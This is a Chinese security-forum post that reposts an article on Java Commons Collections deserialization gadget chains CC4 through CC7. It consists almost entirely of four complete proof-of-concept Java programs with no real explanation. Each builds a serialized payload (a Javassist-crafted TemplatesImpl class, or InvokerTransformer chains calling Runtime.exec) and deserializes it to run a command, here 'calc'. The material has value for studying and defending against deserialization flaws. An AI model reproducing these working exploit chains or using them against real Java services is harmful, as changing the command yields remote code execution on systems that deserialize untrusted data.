安全矩阵

 找回密码
 立即注册
搜索
查看: 2523|回复: 0

Java安全之Commons Collections4-7分析

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-3-14 22:32:37 | 显示全部楼层 |阅读模式
本帖最后由 margin 于 2022-3-14 22:34 编辑

​原文链接:Java安全之Commons Collections4-7分析 (qq.com)
CC4分析i
  1. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  2. import javassist.*;
  3. import org.apache.commons.collections4.Transformer;

  4. import org.apache.commons.collections4.comparators.TransformingComparator;
  5. import org.apache.commons.collections4.functors.ChainedTransformer;
  6. import org.apache.commons.collections4.functors.ConstantTransformer;
  7. import org.apache.commons.collections4.functors.InstantiateTransformer;


  8. import javax.xml.transform.Templates;
  9. import java.io.*;

  10. import java.lang.reflect.Field;
  11. import java.lang.reflect.InvocationTargetException;
  12. import java.util.PriorityQueue;
  13. public class cc4 {
  14.     public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
  15.         //使用字节码创建恶意类
  16.         String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  17.         ClassPool classPool=ClassPool.getDefault();
  18.         classPool.appendClassPath(AbstractTranslet);
  19.         CtClass payload=classPool.makeClass("cc4Demo");
  20.         payload.setSuperclass(classPool.get(AbstractTranslet));
  21.         payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
  22.         byte[] bytes = payload.toBytecode();


  23.         //反射调用TemplatesImpl
  24.         String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  25.         Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
  26.         //设置_bytecodes属性,将二进的恶意类添加到_bytecodes
  27.         Field field=templates.getClass().getDeclaredField("_bytecodes");
  28.         field.setAccessible(true);
  29.         field.set(templates,new byte[][]{bytes});
  30.         //设置_name属性
  31.         Field name=templates.getClass().getDeclaredField("_name");
  32.         name.setAccessible(true);
  33.         name.set(templates,"test");


  34.         //生成tramsformer
  35.         Transformer[] trans = new Transformer[]{
  36.                 new ConstantTransformer(TrAXFilter.class),
  37.                 new InstantiateTransformer(
  38.                         new Class[]{Templates.class},
  39.                         new Object[]{templates})
  40.         };

  41.         //生成ChainedTransformer
  42.         ChainedTransformer chian = new ChainedTransformer(trans);
  43.         TransformingComparator transCom = new TransformingComparator(chian);

  44.         //生成PriorityQueue
  45.         PriorityQueue queue = new PriorityQueue(2);
  46.         queue.add(1);
  47.         queue.add(1);

  48.         Field com = PriorityQueue.class.getDeclaredField("comparator");
  49.         com.setAccessible(true);
  50.         com.set(queue,transCom);


  51.         ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
  52.         outputStream.writeObject(queue);
  53.         outputStream.close();


  54.         ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
  55.         inputStream.readObject();
  56.     }
  57. }
复制代码








CC5分析
  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.LazyMap;
  6. import org.apache.commons.collections4.keyvalue.TiedMapEntry;

  7. import javax.management.BadAttributeValueExpException;
  8. import java.io.FileInputStream;
  9. import java.io.FileOutputStream;
  10. import java.io.ObjectInputStream;
  11. import java.io.ObjectOutputStream;
  12. import java.lang.reflect.Field;
  13. import java.util.HashMap;


  14. public class cc5 {
  15.     public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
  16.         ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
  17.                 new ConstantTransformer(Runtime.class),
  18.                 new InvokerTransformer("getMethod", new Class[] {
  19.                         String.class, Class[].class }, new Object[] {
  20.                         "getRuntime", new Class[0] }),
  21.                 new InvokerTransformer("invoke", new Class[] {
  22.                         Object.class, Object[].class }, new Object[] {
  23.                         null, new Object[0] }),
  24.                 new InvokerTransformer("exec",
  25.                         new Class[] { String.class }, new Object[]{"calc"})});

  26.         HashMap innermap = new HashMap();

  27.         LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

  28.         TiedMapEntry tiedmap = new TiedMapEntry(map,123);

  29.         BadAttributeValueExpException poc = new BadAttributeValueExpException(1);

  30.         Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
  31.         val.setAccessible(true);
  32.         val.set(poc,tiedmap);

  33.         ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
  34.         outputStream.writeObject(poc);
  35.         outputStream.close();

  36.         ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("test.out"));
  37.         inputStream.readObject();

  38.     }
  39. }
复制代码







CC6分析
  1. import org.apache.commons.collections.*;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  6. import org.apache.commons.collections.map.LazyMap;


  7. import java.io.*;
  8. import java.util.HashMap;
  9. import java.util.HashSet;
  10. import java.util.Map;


  11. public class cc6 {


  12.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

  13.         Transformer[] transformers=new Transformer[]{
  14.                 new ConstantTransformer(Runtime.class),
  15.                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
  16.                 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
  17.                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
  18.         };
  19.         ChainedTransformer Testtransformer = new ChainedTransformer(transformers);

  20.         //创建一个hashmap
  21.         Map map=new HashMap();
  22.         Map lazyMap=LazyMap.decorate(map,Testtransformer);

  23.         TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
  24.         HashSet hashSet=new HashSet(1);
  25.         hashSet.add(tiedMapEntry);

  26.         lazyMap.remove("test1");

  27.         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
  28.         objectOutputStream.writeObject(hashSet);
  29.         objectOutputStream.close();


  30.         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
  31.         objectInputStream.readObject();


  32.     }
  33. }
复制代码







CC7分析
  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.LazyMap;

  6. import java.io.*;
  7. import java.util.HashMap;
  8. import java.util.Hashtable;
  9. import java.util.Map;

  10. public class cc7 {
  11.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

  12.         Transformer[] transformers=new Transformer[]{
  13.                 new ConstantTransformer(Runtime.class),
  14.                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
  15.                 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
  16.                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
  17.         };
  18.         ChainedTransformer Testtransformer = new ChainedTransformer(transformers);

  19.         Map innerMap1 = new HashMap();
  20.         Map innerMap2 = new HashMap();

  21.         Map lazyMap1 = LazyMap.decorate(innerMap1, Testtransformer);
  22.         lazyMap1.put("yy", 1);

  23.         Map lazyMap2 = LazyMap.decorate(innerMap2, Testtransformer);
  24.         lazyMap2.put("zZ", 1);

  25.         Hashtable hashtable = new Hashtable();
  26.         hashtable.put(lazyMap1, 1);
  27.         hashtable.put(lazyMap2, 2);

  28.         lazyMap2.remove("yy");
  29.         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
  30.         objectOutputStream.writeObject(hashtable);
  31.         objectOutputStream.close();

  32.         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
  33.         objectInputStream.readObject();
  34.     }
  35. }
复制代码










回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-24 12:08 , Processed in 0.014266 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表